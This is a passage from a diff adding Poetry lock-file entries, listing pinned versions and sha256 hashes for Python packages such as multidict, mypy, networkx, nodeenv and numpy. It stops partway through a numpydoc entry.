"sha256:2e4cc8d848cd4fe1cdee28c13ea79ab0ed37fc2e89dd77bac86a2e7959a8c3bc"}, + {file = "multidict-6.6.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9e236a7094b9c4c1b7585f6b9cca34b9d833cf079f7e4c49e6a4a6ec9bfdc68f"}, + {file = "multidict-6.6.3-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:e0cb0ab69915c55627c933f0b555a943d98ba71b4d1c57bc0d0a66e2567c7471"}, + {file = "multidict-6.6.3-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:81ef2f64593aba09c5212a3d0f8c906a0d38d710a011f2f42759704d4557d3f2"}, + {file = "multidict-6.6.3-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:b9cbc60010de3562545fa198bfc6d3825df430ea96d2cc509c39bd71e2e7d648"}, + {file = "multidict-6.6.3-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:70d974eaaa37211390cd02ef93b7e938de564bbffa866f0b08d07e5e65da783d"}, + {file = "multidict-6.6.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:3713303e4a6663c6d01d648a68f2848701001f3390a030edaaf3fc949c90bf7c"}, + {file = "multidict-6.6.3-cp313-cp313t-win32.whl", hash = "sha256:639ecc9fe7cd73f2495f62c213e964843826f44505a3e5d82805aa85cac6f89e"}, + {file = "multidict-6.6.3-cp313-cp313t-win_amd64.whl", hash = "sha256:9f97e181f344a0ef3881b573d31de8542cc0dbc559ec68c8f8b5ce2c2e91646d"}, + {file = "multidict-6.6.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ce8b7693da41a3c4fde5871c738a81490cea5496c671d74374c8ab889e1834fb"}, + {file = "multidict-6.6.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c8161b5a7778d3137ea2ee7ae8a08cce0010de3b00ac671c5ebddeaa17cefd22"}, + {file = "multidict-6.6.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1328201ee930f069961ae707d59c6627ac92e351ed5b92397cf534d1336ce557"}, + {file = "multidict-6.6.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b1db4d2093d6b235de76932febf9d50766cf49a5692277b2c28a501c9637f616"}, + {file = "multidict-6.6.3-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53becb01dd8ebd19d1724bebe369cfa87e4e7f29abbbe5c14c98ce4c383e16cd"}, + {file = "multidict-6.6.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:41bb9d1d4c303886e2d85bade86e59885112a7f4277af5ad47ab919a2251f306"}, + {file = "multidict-6.6.3-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:775b464d31dac90f23192af9c291dc9f423101857e33e9ebf0020a10bfcf4144"}, + {file = "multidict-6.6.3-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d04d01f0a913202205a598246cf77826fe3baa5a63e9f6ccf1ab0601cf56eca0"}, + {file = "multidict-6.6.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d25594d3b38a2e6cabfdcafef339f754ca6e81fbbdb6650ad773ea9775af35ab"}, + {file = "multidict-6.6.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:35712f1748d409e0707b165bf49f9f17f9e28ae85470c41615778f8d4f7d9609"}, + {file = "multidict-6.6.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1c8082e5814b662de8589d6a06c17e77940d5539080cbab9fe6794b5241b76d9"}, + {file = "multidict-6.6.3-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:61af8a4b771f1d4d000b3168c12c3120ccf7284502a94aa58c68a81f5afac090"}, + {file = "multidict-6.6.3-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:448e4a9afccbf297577f2eaa586f07067441e7b63c8362a3540ba5a38dc0f14a"}, + {file = "multidict-6.6.3-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:233ad16999afc2bbd3e534ad8dbe685ef8ee49a37dbc2cdc9514e57b6d589ced"}, + {file = "multidict-6.6.3-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:bb933c891cd4da6bdcc9733d048e994e22e1883287ff7540c2a0f3b117605092"}, + {file = "multidict-6.6.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:37b09ca60998e87734699e88c2363abfd457ed18cfbf88e4009a4e83788e63ed"}, + {file = "multidict-6.6.3-cp39-cp39-win32.whl", hash = "sha256:f54cb79d26d0cd420637d184af38f0668558f3c4bbe22ab7ad830e67249f2e0b"}, + {file = "multidict-6.6.3-cp39-cp39-win_amd64.whl", hash = "sha256:295adc9c0551e5d5214b45cf29ca23dbc28c2d197a9c30d51aed9e037cb7c578"}, + {file = "multidict-6.6.3-cp39-cp39-win_arm64.whl", hash = "sha256:15332783596f227db50fb261c2c251a58ac3873c457f3a550a95d5c0aa3c770d"}, + {file = "multidict-6.6.3-py3-none-any.whl", hash = "sha256:8db10f29c7541fc5da4defd8cd697e1ca429db743fa716325f236079b96f775a"}, + {file = "multidict-6.6.3.tar.gz", hash = "sha256:798a9eb12dab0a6c2e29c1de6f3468af5cb2da6053a20dfa3344907eed0937cc"}, +] + +[[package]] +name = "mypy" +version = "1.17.1" +description = "Optional static typing for Python" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "mypy-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3fbe6d5555bf608c47203baa3e72dbc6ec9965b3d7c318aa9a4ca76f465bd972"}, + {file = "mypy-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:80ef5c058b7bce08c83cac668158cb7edea692e458d21098c7d3bce35a5d43e7"}, + {file = "mypy-1.17.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c4a580f8a70c69e4a75587bd925d298434057fe2a428faaf927ffe6e4b9a98df"}, + {file = "mypy-1.17.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dd86bb649299f09d987a2eebb4d52d10603224500792e1bee18303bbcc1ce390"}, + {file = "mypy-1.17.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:a76906f26bd8d51ea9504966a9c25419f2e668f012e0bdf3da4ea1526c534d94"}, + {file = "mypy-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:e79311f2d904ccb59787477b7bd5d26f3347789c06fcd7656fa500875290264b"}, + {file = "mypy-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ad37544be07c5d7fba814eb370e006df58fed8ad1ef33ed1649cb1889ba6ff58"}, + {file = "mypy-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:064e2ff508e5464b4bd807a7c1625bc5047c5022b85c70f030680e18f37273a5"}, + {file = "mypy-1.17.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:70401bbabd2fa1aa7c43bb358f54037baf0586f41e83b0ae67dd0534fc64edfd"}, + {file = "mypy-1.17.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e92bdc656b7757c438660f775f872a669b8ff374edc4d18277d86b63edba6b8b"}, + {file = "mypy-1.17.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c1fdf4abb29ed1cb091cf432979e162c208a5ac676ce35010373ff29247bcad5"}, + {file = "mypy-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:ff2933428516ab63f961644bc49bc4cbe42bbffb2cd3b71cc7277c07d16b1a8b"}, + {file = "mypy-1.17.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:69e83ea6553a3ba79c08c6e15dbd9bfa912ec1e493bf75489ef93beb65209aeb"}, + {file = "mypy-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1b16708a66d38abb1e6b5702f5c2c87e133289da36f6a1d15f6a5221085c6403"}, + {file = "mypy-1.17.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:89e972c0035e9e05823907ad5398c5a73b9f47a002b22359b177d40bdaee7056"}, + {file = "mypy-1.17.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:03b6d0ed2b188e35ee6d5c36b5580cffd6da23319991c49ab5556c023ccf1341"}, + {file = "mypy-1.17.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c837b896b37cd103570d776bda106eabb8737aa6dd4f248451aecf53030cdbeb"}, + {file = "mypy-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:665afab0963a4b39dff7c1fa563cc8b11ecff7910206db4b2e64dd1ba25aed19"}, + {file = "mypy-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:93378d3203a5c0800c6b6d850ad2f19f7a3cdf1a3701d3416dbf128805c6a6a7"}, + {file = "mypy-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:15d54056f7fe7a826d897789f53dd6377ec2ea8ba6f776dc83c2902b899fee81"}, + {file = "mypy-1.17.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:209a58fed9987eccc20f2ca94afe7257a8f46eb5df1fb69958650973230f91e6"}, + {file = "mypy-1.17.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:099b9a5da47de9e2cb5165e581f158e854d9e19d2e96b6698c0d64de911dd849"}, + {file = "mypy-1.17.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa6ffadfbe6994d724c5a1bb6123a7d27dd68fc9c059561cd33b664a79578e14"}, + {file = "mypy-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:9a2b7d9180aed171f033c9f2fc6c204c1245cf60b0cb61cf2e7acc24eea78e0a"}, + {file = "mypy-1.17.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:15a83369400454c41ed3a118e0cc58bd8123921a602f385cb6d6ea5df050c733"}, + {file = "mypy-1.17.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:55b918670f692fc9fba55c3298d8a3beae295c5cded0a55dccdc5bbead814acd"}, + {file = "mypy-1.17.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:62761474061feef6f720149d7ba876122007ddc64adff5ba6f374fda35a018a0"}, + {file = "mypy-1.17.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c49562d3d908fd49ed0938e5423daed8d407774a479b595b143a3d7f87cdae6a"}, + {file = "mypy-1.17.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:397fba5d7616a5bc60b45c7ed204717eaddc38f826e3645402c426057ead9a91"}, + {file = "mypy-1.17.1-cp314-cp314-win_amd64.whl", hash = "sha256:9d6b20b97d373f41617bd0708fd46aa656059af57f2ef72aa8c7d6a2b73b74ed"}, + {file = "mypy-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5d1092694f166a7e56c805caaf794e0585cabdbf1df36911c414e4e9abb62ae9"}, + {file = "mypy-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:79d44f9bfb004941ebb0abe8eff6504223a9c1ac51ef967d1263c6572bbebc99"}, + {file = "mypy-1.17.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b01586eed696ec905e61bd2568f48740f7ac4a45b3a468e6423a03d3788a51a8"}, + {file = "mypy-1.17.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43808d9476c36b927fbcd0b0255ce75efe1b68a080154a38ae68a7e62de8f0f8"}, + {file = "mypy-1.17.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:feb8cc32d319edd5859da2cc084493b3e2ce5e49a946377663cc90f6c15fb259"}, + {file = "mypy-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d7598cf74c3e16539d4e2f0b8d8c318e00041553d83d4861f87c7a72e95ac24d"}, + {file = "mypy-1.17.1-py3-none-any.whl", hash = "sha256:a9f52c0351c21fe24c21d8c0eb1f62967b262d6729393397b6f443c3b773c3b9"}, + {file = "mypy-1.17.1.tar.gz", hash = "sha256:25e01ec741ab5bb3eec8ba9cdb0f769230368a22c959c4937360efb89b7e9f01"}, +] + +[package.dependencies] +mypy_extensions = ">=1.0.0" +pathspec = ">=0.9.0" +typing_extensions = ">=4.6.0" + +[package.extras] +dmypy = ["psutil (>=4.0)"] +faster-cache = ["orjson"] +install-types = ["pip"] +mypyc = ["setuptools (>=50)"] +reports = ["lxml"] + +[[package]] +name = "mypy-extensions" +version = "1.1.0" +description = "Type system extensions for programs checked with the mypy type checker." +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505"}, + {file = "mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558"}, +] + +[[package]] +name = "networkx" +version = "3.5" +description = "Python package for creating and manipulating graphs and networks" +optional = false +python-versions = ">=3.11" +groups = ["main"] +files = [ + {file = "networkx-3.5-py3-none-any.whl", hash = "sha256:0030d386a9a06dee3565298b4a734b68589749a544acbb6c412dc9e2489ec6ec"}, + {file = "networkx-3.5.tar.gz", hash = "sha256:d4c6f9cf81f52d69230866796b82afbccdec3db7ae4fbd1b65ea750feed50037"}, +] + +[package.extras] +default = ["matplotlib (>=3.8)", "numpy (>=1.25)", "pandas (>=2.0)", "scipy (>=1.11.2)"] +developer = ["mypy (>=1.15)", "pre-commit (>=4.1)"] +doc = ["intersphinx-registry", "myst-nb (>=1.1)", "numpydoc (>=1.8.0)", "pillow (>=10)", "pydata-sphinx-theme (>=0.16)", "sphinx (>=8.0)", "sphinx-gallery (>=0.18)", "texext (>=0.6.7)"] +example = ["cairocffi (>=1.7)", "contextily (>=1.6)", "igraph (>=0.11)", "momepy (>=0.7.2)", "osmnx (>=2.0.0)", "scikit-learn (>=1.5)", "seaborn (>=0.13)"] +extra = ["lxml (>=4.6)", "pydot (>=3.0.1)", "pygraphviz (>=1.14)", "sympy (>=1.10)"] +test = ["pytest (>=7.2)", "pytest-cov (>=4.0)", "pytest-xdist (>=3.0)"] +test-extras = ["pytest-mpl", "pytest-randomly"] + +[[package]] +name = "nodeenv" +version = "1.9.1" +description = "Node.js virtual environment builder" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["dev"] +files = [ + {file = "nodeenv-1.9.1-py2.py3-none-any.whl", hash = "sha256:ba11c9782d29c27c70ffbdda2d7415098754709be8a7056d79a737cd901155c9"}, + {file = "nodeenv-1.9.1.tar.gz", hash = "sha256:6ec12890a2dab7946721edbfbcd91f3319c6ccc9aec47be7c7e6b7011ee6645f"}, +] + +[[package]] +name = "numpy" +version = "2.3.2" +description = "Fundamental package for array computing in Python" +optional = false +python-versions = ">=3.11" +groups = ["main"] +files = [ + {file = "numpy-2.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:852ae5bed3478b92f093e30f785c98e0cb62fa0a939ed057c31716e18a7a22b9"}, + {file = "numpy-2.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7a0e27186e781a69959d0230dd9909b5e26024f8da10683bd6344baea1885168"}, + {file = "numpy-2.3.2-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:f0a1a8476ad77a228e41619af2fa9505cf69df928e9aaa165746584ea17fed2b"}, + {file = "numpy-2.3.2-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:cbc95b3813920145032412f7e33d12080f11dc776262df1712e1638207dde9e8"}, + {file = "numpy-2.3.2-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f75018be4980a7324edc5930fe39aa391d5734531b1926968605416ff58c332d"}, + {file = "numpy-2.3.2-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:20b8200721840f5621b7bd03f8dcd78de33ec522fc40dc2641aa09537df010c3"}, + {file = "numpy-2.3.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1f91e5c028504660d606340a084db4b216567ded1056ea2b4be4f9d10b67197f"}, + {file = "numpy-2.3.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fb1752a3bb9a3ad2d6b090b88a9a0ae1cd6f004ef95f75825e2f382c183b2097"}, + {file = "numpy-2.3.2-cp311-cp311-win32.whl", hash = "sha256:4ae6863868aaee2f57503c7a5052b3a2807cf7a3914475e637a0ecd366ced220"}, + {file = "numpy-2.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:240259d6564f1c65424bcd10f435145a7644a65a6811cfc3201c4a429ba79170"}, + {file = "numpy-2.3.2-cp311-cp311-win_arm64.whl", hash = "sha256:4209f874d45f921bde2cff1ffcd8a3695f545ad2ffbef6d3d3c6768162efab89"}, + {file = "numpy-2.3.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bc3186bea41fae9d8e90c2b4fb5f0a1f5a690682da79b92574d63f56b529080b"}, + {file = "numpy-2.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2f4f0215edb189048a3c03bd5b19345bdfa7b45a7a6f72ae5945d2a28272727f"}, + {file = "numpy-2.3.2-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:8b1224a734cd509f70816455c3cffe13a4f599b1bf7130f913ba0e2c0b2006c0"}, + {file = "numpy-2.3.2-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:3dcf02866b977a38ba3ec10215220609ab9667378a9e2150615673f3ffd6c73b"}, + {file = "numpy-2.3.2-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:572d5512df5470f50ada8d1972c5f1082d9a0b7aa5944db8084077570cf98370"}, + {file = "numpy-2.3.2-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8145dd6d10df13c559d1e4314df29695613575183fa2e2d11fac4c208c8a1f73"}, + {file = "numpy-2.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:103ea7063fa624af04a791c39f97070bf93b96d7af7eb23530cd087dc8dbe9dc"}, + {file = "numpy-2.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fc927d7f289d14f5e037be917539620603294454130b6de200091e23d27dc9be"}, + {file = "numpy-2.3.2-cp312-cp312-win32.whl", hash = "sha256:d95f59afe7f808c103be692175008bab926b59309ade3e6d25009e9a171f7036"}, + {file = "numpy-2.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:9e196ade2400c0c737d93465327d1ae7c06c7cb8a1756121ebf54b06ca183c7f"}, + {file = "numpy-2.3.2-cp312-cp312-win_arm64.whl", hash = "sha256:ee807923782faaf60d0d7331f5e86da7d5e3079e28b291973c545476c2b00d07"}, + {file = "numpy-2.3.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c8d9727f5316a256425892b043736d63e89ed15bbfe6556c5ff4d9d4448ff3b3"}, + {file = "numpy-2.3.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:efc81393f25f14d11c9d161e46e6ee348637c0a1e8a54bf9dedc472a3fae993b"}, + {file = "numpy-2.3.2-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:dd937f088a2df683cbb79dda9a772b62a3e5a8a7e76690612c2737f38c6ef1b6"}, + {file = "numpy-2.3.2-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:11e58218c0c46c80509186e460d79fbdc9ca1eb8d8aee39d8f2dc768eb781089"}, + {file = "numpy-2.3.2-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5ad4ebcb683a1f99f4f392cc522ee20a18b2bb12a2c1c42c3d48d5a1adc9d3d2"}, + {file = "numpy-2.3.2-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938065908d1d869c7d75d8ec45f735a034771c6ea07088867f713d1cd3bbbe4f"}, + {file = "numpy-2.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:66459dccc65d8ec98cc7df61307b64bf9e08101f9598755d42d8ae65d9a7a6ee"}, + {file = "numpy-2.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a7af9ed2aa9ec5950daf05bb11abc4076a108bd3c7db9aa7251d5f107079b6a6"}, + {file = "numpy-2.3.2-cp313-cp313-win32.whl", hash = "sha256:906a30249315f9c8e17b085cc5f87d3f369b35fedd0051d4a84686967bdbbd0b"}, + {file = "numpy-2.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:c63d95dc9d67b676e9108fe0d2182987ccb0f11933c1e8959f42fa0da8d4fa56"}, + {file = "numpy-2.3.2-cp313-cp313-win_arm64.whl", hash = "sha256:b05a89f2fb84d21235f93de47129dd4f11c16f64c87c33f5e284e6a3a54e43f2"}, + {file = "numpy-2.3.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:4e6ecfeddfa83b02318f4d84acf15fbdbf9ded18e46989a15a8b6995dfbf85ab"}, + {file = "numpy-2.3.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:508b0eada3eded10a3b55725b40806a4b855961040180028f52580c4729916a2"}, + {file = "numpy-2.3.2-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:754d6755d9a7588bdc6ac47dc4ee97867271b17cee39cb87aef079574366db0a"}, + {file = "numpy-2.3.2-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:a9f66e7d2b2d7712410d3bc5684149040ef5f19856f20277cd17ea83e5006286"}, + {file = "numpy-2.3.2-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de6ea4e5a65d5a90c7d286ddff2b87f3f4ad61faa3db8dabe936b34c2275b6f8"}, + {file = "numpy-2.3.2-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a3ef07ec8cbc8fc9e369c8dcd52019510c12da4de81367d8b20bc692aa07573a"}, + {file = "numpy-2.3.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:27c9f90e7481275c7800dc9c24b7cc40ace3fdb970ae4d21eaff983a32f70c91"}, + {file = "numpy-2.3.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:07b62978075b67eee4065b166d000d457c82a1efe726cce608b9db9dd66a73a5"}, + {file = "numpy-2.3.2-cp313-cp313t-win32.whl", hash = "sha256:c771cfac34a4f2c0de8e8c97312d07d64fd8f8ed45bc9f5726a7e947270152b5"}, + {file = "numpy-2.3.2-cp313-cp313t-win_amd64.whl", hash = "sha256:72dbebb2dcc8305c431b2836bcc66af967df91be793d63a24e3d9b741374c450"}, + {file = "numpy-2.3.2-cp313-cp313t-win_arm64.whl", hash = "sha256:72c6df2267e926a6d5286b0a6d556ebe49eae261062059317837fda12ddf0c1a"}, + {file = "numpy-2.3.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:448a66d052d0cf14ce9865d159bfc403282c9bc7bb2a31b03cc18b651eca8b1a"}, + {file = "numpy-2.3.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:546aaf78e81b4081b2eba1d105c3b34064783027a06b3ab20b6eba21fb64132b"}, + {file = "numpy-2.3.2-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:87c930d52f45df092f7578889711a0768094debf73cfcde105e2d66954358125"}, + {file = "numpy-2.3.2-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:8dc082ea901a62edb8f59713c6a7e28a85daddcb67454c839de57656478f5b19"}, + {file = "numpy-2.3.2-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:af58de8745f7fa9ca1c0c7c943616c6fe28e75d0c81f5c295810e3c83b5be92f"}, + {file = "numpy-2.3.2-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed5527c4cf10f16c6d0b6bee1f89958bccb0ad2522c8cadc2efd318bcd545f5"}, + {file = "numpy-2.3.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:095737ed986e00393ec18ec0b21b47c22889ae4b0cd2d5e88342e08b01141f58"}, + {file = "numpy-2.3.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b5e40e80299607f597e1a8a247ff8d71d79c5b52baa11cc1cce30aa92d2da6e0"}, + {file = "numpy-2.3.2-cp314-cp314-win32.whl", hash = "sha256:7d6e390423cc1f76e1b8108c9b6889d20a7a1f59d9a60cac4a050fa734d6c1e2"}, + {file = "numpy-2.3.2-cp314-cp314-win_amd64.whl", hash = "sha256:b9d0878b21e3918d76d2209c924ebb272340da1fb51abc00f986c258cd5e957b"}, + {file = "numpy-2.3.2-cp314-cp314-win_arm64.whl", hash = "sha256:2738534837c6a1d0c39340a190177d7d66fdf432894f469728da901f8f6dc910"}, + {file = "numpy-2.3.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:4d002ecf7c9b53240be3bb69d80f86ddbd34078bae04d87be81c1f58466f264e"}, + {file = "numpy-2.3.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:293b2192c6bcce487dbc6326de5853787f870aeb6c43f8f9c6496db5b1781e45"}, + {file = "numpy-2.3.2-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:0a4f2021a6da53a0d580d6ef5db29947025ae8b35b3250141805ea9a32bbe86b"}, + {file = "numpy-2.3.2-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:9c144440db4bf3bb6372d2c3e49834cc0ff7bb4c24975ab33e01199e645416f2"}, + {file = "numpy-2.3.2-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f92d6c2a8535dc4fe4419562294ff957f83a16ebdec66df0805e473ffaad8bd0"}, + {file = "numpy-2.3.2-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cefc2219baa48e468e3db7e706305fcd0c095534a192a08f31e98d83a7d45fb0"}, + {file = "numpy-2.3.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:76c3e9501ceb50b2ff3824c3589d5d1ab4ac857b0ee3f8f49629d0de55ecf7c2"}, + {file = "numpy-2.3.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:122bf5ed9a0221b3419672493878ba4967121514b1d7d4656a7580cd11dddcbf"}, + {file = "numpy-2.3.2-cp314-cp314t-win32.whl", hash = "sha256:6f1ae3dcb840edccc45af496f312528c15b1f79ac318169d094e85e4bb35fdf1"}, + {file = "numpy-2.3.2-cp314-cp314t-win_amd64.whl", hash = "sha256:087ffc25890d89a43536f75c5fe8770922008758e8eeeef61733957041ed2f9b"}, + {file = "numpy-2.3.2-cp314-cp314t-win_arm64.whl", hash = "sha256:092aeb3449833ea9c0bf0089d70c29ae480685dd2377ec9cdbbb620257f84631"}, + {file = "numpy-2.3.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:14a91ebac98813a49bc6aa1a0dfc09513dcec1d97eaf31ca21a87221a1cdcb15"}, + {file = "numpy-2.3.2-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:71669b5daae692189540cffc4c439468d35a3f84f0c88b078ecd94337f6cb0ec"}, + {file = "numpy-2.3.2-pp311-pypy311_pp73-macosx_14_0_arm64.whl", hash = "sha256:69779198d9caee6e547adb933941ed7520f896fd9656834c300bdf4dd8642712"}, + {file = "numpy-2.3.2-pp311-pypy311_pp73-macosx_14_0_x86_64.whl", hash = "sha256:2c3271cc4097beb5a60f010bcc1cc204b300bb3eafb4399376418a83a1c6373c"}, + {file = "numpy-2.3.2-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8446acd11fe3dc1830568c941d44449fd5cb83068e5c70bd5a470d323d448296"}, + {file = "numpy-2.3.2-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa098a5ab53fa407fded5870865c6275a5cd4101cfdef8d6fafc48286a96e981"}, + {file = "numpy-2.3.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:6936aff90dda378c09bea075af0d9c675fe3a977a9d2402f95a87f440f59f619"}, + {file = "numpy-2.3.2.tar.gz", hash = "sha256:e0486a11ec30cdecb53f184d496d1c6a20786c81e55e41640270130056f8ee48"}, +] + +[[package]] +name = "numpydoc" +version = "1.9.0" +description = "Sphinx extension to support docstrings in Numpy format" +optional = false +python-versions = 